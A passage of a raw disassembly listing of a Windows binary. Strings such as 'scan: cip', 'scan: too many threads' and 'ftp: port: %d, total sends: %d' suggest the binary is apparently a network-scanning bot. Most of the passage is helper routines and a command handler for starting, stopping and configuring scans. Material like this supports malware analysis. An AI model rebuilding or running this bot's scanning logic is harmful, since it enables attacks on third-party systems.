6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422050 proc near ; CODE XREF: sub_40100Fj var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_4012BC test al, al jz short loc_4220AA loc_422068: ; CODE XREF: sub_422050+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_4019AB mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401B7C ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_4012BC test al, al jnz short loc_422068 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_4220AA: ; CODE XREF: sub_422050+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_422050 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4220E0 proc near ; CODE XREF: sub_401212j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 20h call sub_4020BD sub_4220E0 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_4220F5 mov edi, esi loc_4220F5: ; CODE XREF: ___:004220F1j push esi call sub_40110E mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_42210A mov edi, esi loc_42210A: ; CODE XREF: ___:00422106j push esi call sub_4010EB add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_422130 proc near ; CODE XREF: sub_4021B7j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_4018E3 sub_422130 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422150 proc near ; CODE XREF: sub_40110Ej arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_422150 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422170 proc near ; CODE XREF: sub_40108Cj arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_422170 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422190 proc near ; CODE XREF: sub_4011A9j mov eax, ecx retn sub_422190 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4221B0 proc near ; CODE XREF: sub_401D75j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_4018ED mov eax, esi pop esi retn 4 sub_4221B0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4221E0 proc near ; CODE XREF: sub_401D48j arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_4221E0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422210 proc near ; CODE XREF: sub_401E3Dj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_401A2D add esp, 8 retn 8 sub_422210 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_422240 proc near ; CODE XREF: sub_401A1Ej var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_4020B8 mov ecx, eax call sub_4010C8 mov esi, eax push esi call sub_40204F push esi mov ebx, eax call sub_401CF3 mov ecx, [eax] push ecx call sub_40204F mov edx, [ebx] push esi mov [eax], edx call sub_401CF3 push esi mov ebx, eax call sub_40204F mov eax, [eax] push eax call sub_401CF3 mov ecx, [ebx] push esi mov [eax], ecx call sub_4010F5 add esp, 1Ch mov ecx, edi push eax call sub_401631 push esi mov ecx, edi call sub_401947 sub_422240 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422300 proc near ; CODE XREF: sub_401CF3j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_422300 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_422320 proc near ; CODE XREF: sub_401DF2j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D16 sub_422320 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_422350 proc near ; CODE XREF: sub_401546j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_4367E2 sub_422350 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422370 proc near ; CODE XREF: sub_4017E9j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_40201D add esp, 8 retn 8 sub_422370 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4223A0 proc near ; CODE XREF: sub_401519j arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_4223A0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4223C0 proc near ; CODE XREF: sub_4010C8j mov eax, [ecx] retn sub_4223C0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4223E0 proc near ; CODE XREF: sub_4020B8j arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_40107D mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_4223E0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_422410 proc near ; CODE XREF: sub_401B7Cj var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_4019AB mov ecx, eax call sub_4018E8 mov esi, eax push esi call sub_40110E push esi mov ebx, eax call sub_4010EB mov ecx, [eax] push ecx call sub_40110E mov edx, [ebx] push esi mov [eax], edx call sub_4010EB push esi mov ebx, eax call sub_40110E mov eax, [eax] push eax call sub_4010EB mov ecx, [ebx] push esi mov [eax], ecx call sub_40108C add esp, 1Ch mov ecx, edi push eax call sub_401E60 push esi mov ecx, edi call sub_4021B7 sub_422410 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4224D0 proc near ; CODE XREF: sub_4010EBj arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_4224D0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4224F0 proc near ; CODE XREF: sub_4020BDj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D16 sub_4224F0 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_422520 proc near ; CODE XREF: sub_4018E3j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_4367E2 sub_422520 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422540 proc near ; CODE XREF: sub_4013DEj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_401ED3 add esp, 8 retn 8 sub_422540 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422570 proc near ; CODE XREF: sub_4018EDj arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_422570 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422590 proc near ; CODE XREF: sub_4018E8j mov eax, [ecx] retn sub_422590 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4225B0 proc near ; CODE XREF: sub_4019ABj arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_40182A mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_4225B0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4225E0 proc near ; CODE XREF: sub_401631j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401A78 pop ecx retn 4 sub_4225E0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422600 proc near ; CODE XREF: sub_401E60j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401F9B pop ecx retn 4 sub_422600 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422620 proc near ; CODE XREF: sub_401A2Dj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_42263B mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_42263B: ; CODE XREF: sub_422620+11j retn sub_422620 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422650 proc near ; CODE XREF: sub_40201Dj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 0FFFFFFFFh push offset SEH_422650 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov eax, [esp+10h+arg_0] push eax push 19h call sub_4011CC add esp, 8 mov [esp+10h+var_10], eax test eax, eax mov [esp+10h+var_4], 0 jz short loc_422691 mov ecx, [esp+10h+arg_4] push ecx mov ecx, eax call sub_401677 loc_422691: ; CODE XREF: sub_422650+33j mov ecx, [esp+10h+var_C] mov large fs:0, ecx add esp, 10h retn sub_422650 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_11. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4226E0 proc near ; CODE XREF: sub_401ED3j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 0FFFFFFFFh push offset SEH_4226E0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov eax, [esp+10h+arg_0] push eax push 15h call sub_4011CC add esp, 8 mov [esp+10h+var_10], eax test eax, eax mov [esp+10h+var_4], 0 jz short loc_422721 mov ecx, [esp+10h+arg_4] push ecx mov ecx, eax call sub_4014C9 loc_422721: ; CODE XREF: sub_4226E0+33j mov ecx, [esp+10h+var_C] mov large fs:0, ecx add esp, 10h retn sub_4226E0 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422750 proc near ; CODE XREF: sub_401A78j arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push 0 call sub_4019BA retn sub_422750 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422770 proc near ; CODE XREF: sub_401F9Bj arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push 0 mov eax, [ecx] call dword ptr [eax] retn sub_422770 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422790 proc near ; CODE XREF: sub_401677j arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx push edi call sub_4014C9 mov eax, [edi+15h] pop edi mov [esi+15h], eax mov eax, esi pop esi retn 4 sub_422790 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4227C0 proc near ; CODE XREF: sub_4019BAj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401A6E test [esp+4+arg_0], 1 jz short loc_4227D8 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_4227D8: ; CODE XREF: sub_4227C0+Dj mov eax, esi pop esi retn 4 sub_4227C0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4227F0 proc near ; CODE XREF: sub_401AE1j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4227F0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi push 0 push 10h push 9 push 3 push 4Fh push 16h push 4 lea eax, [esp+60h+var_3C] push 1 mov esi, ecx push eax mov dword_4D5FBB, offset aAsn ; "asn" call sub_4019B5 add esp, 24h push esi mov ecx, eax mov [esp+48h+var_4], 0 call sub_4017E4 lea ecx, [esi+8D008h] push eax push ecx mov ecx, offset dword_447148 call sub_401591 sub_4227F0 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 14h push 12h push 1 push 14h push 13h push 4Fh push 16h push 4 lea edx, [esp+2Ch] push 1 push edx call sub_4019B5 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+44h], 1 call sub_4017E4 push eax lea eax, [esi+8D036h] push eax mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 10h push 0Fh push 14h push 13h push 4Fh push 0Eh push 1 push 3 lea ecx, [esp+2Ch] push 13h push ecx call sub_4019B5 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+44h], 2 call sub_4017E4 lea edx, [esi+8D064h] push eax push edx mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 13h push 14h push 1 push 14h push 13h push 4Fh push 16h push 4 lea eax, [esp+2Ch] push 1 push eax call sub_4019B5 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+44h], 3 call sub_4017E4 lea ecx, [esi+8D092h] push eax push ecx mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 13h push 14h push 1 push 14h push 13h push 4Fh push 10h push 14h lea edx, [esp+44h] push 6 push edx call sub_4019B5 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+44h], 4 call sub_4017E4 add esi, 8D0C0h push eax push esi mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+20h] mov [esp+40h], edi call sub_401226 mov ecx, [esp+38h] pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422A40 proc near ; CODE XREF: sub_40138Ej var_78D = byte ptr -78Dh var_78C = dword ptr -78Ch var_788 = byte ptr -788h var_780 = dword ptr -780h var_770 = byte ptr -770h var_760 = byte ptr -760h var_6E0 = byte ptr -6E0h var_660 = dword ptr -660h var_65C = dword ptr -65Ch var_658 = dword ptr -658h var_654 = dword ptr -654h var_650 = dword ptr -650h var_644 = dword ptr -644h var_640 = dword ptr -640h var_638 = dword ptr -638h var_634 = dword ptr -634h var_630 = dword ptr -630h var_624 = byte ptr -624h var_60C = byte ptr -60Ch var_40C = byte ptr -40Ch var_20C = byte ptr -20Ch var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_422A40 push eax mov large fs:0, esp sub esp, 784h push ebx push ebp push esi mov esi, [esp+79Ch+arg_0] mov ebp, ecx push edi lea edi, [esi+7Eh] lea ecx, [ebp+8D008h] call sub_4014D3 push eax mov ecx, edi call sub_4012EE test eax, eax jnz loc_422B0A push 3 call sub_401483 add esp, 4 test eax, eax jle short loc_422ADD push 3 call sub_401D8E mov eax, dword_50BB80[eax*8] add esp, 4 push eax nop call near ptr 71AB3F41h push eax push offset aScanCipS ; "scan: cip (%s)" lea ecx, [esi+2Ah] call sub_4014D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_4D60A5 call sub_401848 add esp, 18h mov al, 1 jmp loc_422E3B ; --------------------------------------------------------------------------- loc_422ADD: ; CODE XREF: sub_422A40+52j lea ecx, [esi+2Ah] call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push offset aScanNotStarted ; "scan: not started" push edx push eax mov ecx, offset byte_4D60A5 call sub_401118 mov al, 1 jmp loc_422E3B ; --------------------------------------------------------------------------- loc_422B0A: ; CODE XREF: sub_422A40+40j lea ecx, [ebp+8D0C0h] call sub_4014D3 push eax mov ecx, edi call sub_4012EE test eax, eax jnz loc_422BB0 mov edi, dword_4D63A0 push offset asc_443600 ; " " lea ecx, [esp+7A4h+var_788] push 1 push ecx mov ecx, esi call sub_4016AE mov ecx, eax mov [esp+7A0h+var_4], 0 call sub_4017E4 push eax nop call near ptr 77C1BF18h add esp, 4 lea ecx, [esp+7A0h+var_788] mov ebx, eax mov [esp+7A0h+var_4], 0FFFFFFFFh call sub_401226 cmp edi, ebx jl loc_4231BD mov edx, dword_44767F push edi push edx push offset aFtpPortDTotalS ; "ftp: port: %d, total sends: %d" lea ecx, [esi+2Ah] call sub_4014D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_4D60A5 call sub_401848 add esp, 1Ch mov al, 1 jmp loc_422E3B ; --------------------------------------------------------------------------- loc_422BB0: ; CODE XREF: sub_422A40+DFj lea ecx, [ebp+8D064h] call sub_4014D3 push eax mov ecx, edi call sub_4012EE test eax, eax jnz short loc_422C30 push eax push 3 call sub_401D93 add esp, 8 test eax, eax jle short loc_422C05 push eax push offset aScanStoppedDTh ; "scan: stopped (%d threads)" lea ecx, [esi+2Ah] call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D60A5 call sub_401848 add esp, 18h jmp loc_422E39 ; --------------------------------------------------------------------------- loc_422C05: ; CODE XREF: sub_422A40+194j lea ecx, [esi+2Ah] call sub_4014D3 mov cl, [esi+94h] mov dl, [esi+93h] push eax push offset aScanCouldnTSto ; "scan: couldn't stop" push ecx push edx mov ecx, offset byte_4D60A5 call sub_401118 jmp loc_422E39 ; --------------------------------------------------------------------------- loc_422C30: ; CODE XREF: sub_422A40+185j lea ecx, [ebp+8D036h] call sub_4014D3 push eax mov ecx, edi call sub_4012EE mov edi, dword_50FB08 test eax, eax jnz loc_422CDE push 3 call sub_401483 add esp, 4 mov ebx, eax lea eax, [esp+7A0h+var_788] mov ecx, esi push offset asc_443600 ; " " push 2 push eax call sub_4016AE mov ecx, eax mov [esp+7A0h+var_4], 1 call sub_4017E4 push eax call edi ; atoi add eax, ebx add esp, 4 cmp eax, 1F4h lea ecx, [esp+7A0h+var_788] setnle [esp+7A0h+var_78D] mov [esp+7A0h+var_4], 0FFFFFFFFh call sub_401226 mov al, [esp+7A0h+var_78D] test al, al jz loc_422E56 push ebx push offset aScanTooManyThr ; "scan: too many threads (%s)" lea ecx, [esi+2Ah] call sub_4014D3 mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push offset byte_4D60A5 call sub_401848 add esp, 18h loc_422CDE: ; CODE XREF: sub_422A40+20Bj lea ecx, [ebp+8D092h] call sub_4014D3 push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_422E39 push offset asc_443600 ; " " lea eax, [esp+7A4h+var_624] push 1 push eax mov ecx, esi xor ebx, ebx call sub_4016AE mov ecx, eax mov [esp+7A0h+var_4], 0Ah call sub_4017E4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+7A0h+var_624] mov edi, eax mov [esp+7A0h+var_4], 0FFFFFFFFh call sub_401226 mov eax, dword_444438 mov [esp+7A0h+var_78D], bl test eax, eax jz short loc_422D69 mov eax, offset dword_444438 loc_422D55: ; CODE XREF: sub_422A40+327j cmp [eax+8], edi jb short loc_422D5F mov [esp+7A0h+var_78D], 1 loc_422D5F: ; CODE XREF: sub_422A40+318j mov ecx, [eax+3Ch] add eax, 3Ch test ecx, ecx jnz short loc_422D55 loc_422D69: ; CODE XREF: sub_422A40+30Ej mov ebp, off_50FBF0 lea ecx, [esp+7A0h+var_60C] push offset aScanStats ; "scan: stats:" push ecx call ebp ; sub_5EA1BD mov eax, dword_444438 add esp, 8 test eax, eax jz short loc_422DCF mov edi, offset dword_444440 loc_422D8F: ; CODE XREF: sub_422A40+38Dj mov eax, [edi] lea edx, [edi-26h] add ebx, eax push eax push edx lea eax, [esp+7A8h+var_40C] push offset aSD ; " %s: %d," push eax call ebp ; sub_5EA1BD lea ecx, [esp+7B0h+var_40C] push 200h lea edx, [esp+7B4h+var_60C] push ecx push edx call near ptr 77C47920h nop mov eax, [edi+34h] add edi, 3Ch add esp, 1Ch test eax, eax jnz short loc_422D8F loc_422DCF: ; CODE XREF: sub_422A40+348j push ebx lea eax, [esp+7A4h+var_40C] push offset aTotalD ; " total: %d" push eax call ebp ; sub_5EA1BD lea ecx, [esp+7ACh+var_40C] push 200h lea edx, [esp+7B0h+var_60C] push ecx push edx nop call near ptr 77C47920h mov al, [esp+7B8h+var_78D] add esp, 18h test al, al jz short loc_422E29 xor eax, eax lea ecx, [esp+7A0h+var_60C] mov al, [esi+94h] push eax push ecx lea ecx, [esi+2Ah] call sub_4014D3 push eax push 0 call sub_401523 add esp, 10h loc_422E29: ; CODE XREF: sub_422A40+3C3j lea edx, [esp+7A0h+var_60C] push edx call sub_4010D2 add esp, 4 loc_422E39: ; CODE XREF: sub_422A40+1C0j ; sub_422A40+1EBj ... xor al, al loc_422E3B: ; CODE XREF: sub_422A40+98j ; sub_422A40+C5j ... mov ecx, [esp+7A0h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 790h retn 4 ; --------------------------------------------------------------------------- loc_422E56: ; CODE XREF: sub_422A40+26Ej push offset asc_443600 ; " " lea eax, [esp+7A4h+var_788] push 1 push eax mov ecx, esi call sub_4016AE mov ecx, eax mov [esp+7A0h+var_4], 2 call sub_4017E4 push eax call edi ; atoi or ebx, 0FFFFFFFFh add esp, 4 lea ecx, [esp+7A0h+var_788] mov [esp+7A0h+var_65C], eax mov [esp+7A0h+var_4], ebx call sub_401226 push offset asc_443600 ; " " lea ecx, [esp+7A4h+var_788] push 2 push ecx mov ecx, esi call sub_4016AE mov ebp, 3 mov ecx, eax mov [esp+7A0h+var_4], ebp call sub_4017E4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+7A0h+var_788] mov [esp+7A0h+var_644], eax mov [esp+7A0h+var_4], ebx call sub_401226 push offset asc_443600 ; " " lea edx, [esp+7A4h+var_788] push ebp push edx mov ecx, esi call sub_4016AE mov ecx, eax mov [esp+7A0h+var_4], 4 call sub_4017E4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+7A0h+var_788] mov [esp+7A0h+var_658], eax mov [esp+7A0h+var_4], ebx call sub_401226 mov eax, [esp+7A0h+var_658] cmp eax, ebp jnb short loc_422F33 mov [esp+7A0h+var_658], ebp jmp short loc_422F43 ; --------------------------------------------------------------------------- loc_422F33: ; CODE XREF: sub_422A40+4E8j cmp eax, 3Ch jbe short loc_422F43 mov [esp+7A0h+var_658], 3Ch loc_422F43: ; CODE XREF: sub_422A40+4F1j ; sub_422A40+4F6j push offset asc_443600 ; " " lea eax, [esp+7A4h+var_788] push 4 push eax mov ecx, esi call sub_4016AE mov ecx, eax mov [esp+7A0h+var_4], 5 call sub_4017E4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+7A0h+var_788] mov [esp+7A0h+var_654], eax mov [esp+7A0h+var_4], ebx call sub_401226 mov ecx, [esp+7A0h+var_654] mov eax, 960h cmp ecx, eax jbe short loc_422F9C mov [esp+7A0h+var_654], eax loc_422F9C: ; CODE XREF: sub_422A40+553j mov eax, dword_444438 mov [esp+7A0h+var_640], ebx test eax, eax mov [esp+7A0h+var_78C], 0 jz loc_42306C mov ebp, offset dword_444438 jmp short loc_422FC2 ; --------------------------------------------------------------------------- loc_422FBF: ; CODE XREF: sub_422A40+602j or ebx, 0FFFFFFFFh loc_422FC2: ; CODE XREF: sub_422A40+57Dj push offset asc_443600 ; " " lea ecx, [esp+7A4h+var_788] push 1 push ecx mov ecx, esi call sub_4016AE mov ecx, eax mov [esp+7A0h+var_4], 6 call sub_4017E4 mov edi, eax lea ecx, [ebp-28h] loc_422FEC: ; CODE XREF: sub_422A40+5CAj mov dl, [ecx] mov al, dl cmp dl, [edi] jnz short loc_423010 test al, al jz short loc_42300C mov dl, [ecx+1] mov al, dl cmp dl, [edi+1] jnz short loc_423010 add ecx, 2 add edi, 2 test al, al jnz short loc_422FEC loc_42300C: ; CODE XREF: sub_422A40+5B6j xor eax, eax jmp short loc_423014 ; --------------------------------------------------------------------------- loc_423010: ; CODE XREF: sub_422A40+5B2j ; sub_422A40+5C0j sbb eax, eax sbb eax, ebx loc_423014: ; CODE XREF: sub_422A40+5CEj test eax, eax lea ecx, [esp+7A0h+var_788] mov [esp+7A0h+var_4], 0FFFFFFFFh setz bl call sub_401226 test bl, bl jnz short loc_42304A mov edx, [esp+7A0h+var_78C] mov eax, [ebp+3Ch] add ebp, 3Ch inc edx test eax, eax mov [esp+7A0h+var_78C], edx jnz loc_422FBF jmp short loc_423069 ; --------------------------------------------------------------------------- loc_42304A: ; CODE XREF: sub_422A40+5EFj mov ecx, [esp+7A0h+var_78C] mov [esp+7A0h+var_640], ecx lea eax, [ecx+ecx*2] lea eax, [eax+eax*4] mov edx, dword_444438[eax*4] mov [esp+7A0h+var_65C], edx loc_423069: ; CODE XREF: sub_422A40+608j or ebx, 0FFFFFFFFh loc_42306C: ; CODE XREF: sub_422A40+572j mov eax, [esp+7A0h+var_65C] test eax, eax jnz short loc_42308A lea ecx, [esi+2Ah] call sub_4014D3 push eax push offset aScanInvalidPor ; "scan: invalid port" jmp loc_4231A5 ; --------------------------------------------------------------------------- loc_42308A: ; CODE XREF: sub_422A40+635j push offset asc_443600 ; " " lea edx, [esp+7A4h+var_788] push 5 push edx mov ecx, esi call sub_4016AE push offset dword_443DC4 mov ecx, eax mov [esp+7A4h+var_4], 7 call sub_4013E3 lea ecx, [esp+7A0h+var_788] mov edi, eax mov [esp+7A0h+var_4], ebx call sub_401226 test edi, edi jz loc_423167 push offset asc_443600 ; " " lea eax, [esp+7A4h+var_788] push 5 push eax mov ecx, esi call sub_4016AE mov ecx, eax mov [esp+7A0h+var_4], 8 call sub_4017E4 push eax lea ecx, [esp+7A4h+var_770] push 10h push ecx call near ptr 77C3FA76h nop add esp, 0Ch lea ecx, [esp+7A0h+var_788] mov [esp+7A0h+var_4], ebx call sub_401226 push offset asc_443600 ; " " lea edx, [esp+7A4h+var_788] push 5 push edx mov ecx, esi call sub_4016AE push 78h mov ecx, eax mov [esp+7A4h+var_4], 9 call sub_4017E4 push eax call near ptr 77C47660h nop add esp, 8 lea ecx, [esp+7A0h+var_788] neg eax sbb eax, eax mov [esp+7A0h+var_4], ebx neg eax mov [esp+7A0h+var_630], eax call sub_401226 jmp loc_423296 ; --------------------------------------------------------------------------- loc_423167: ; CODE XREF: sub_422A40+688j push offset dword_444574 mov ecx, esi call sub_4013E3 test eax, eax jnz short loc_4231C4 push offset off_444570 mov 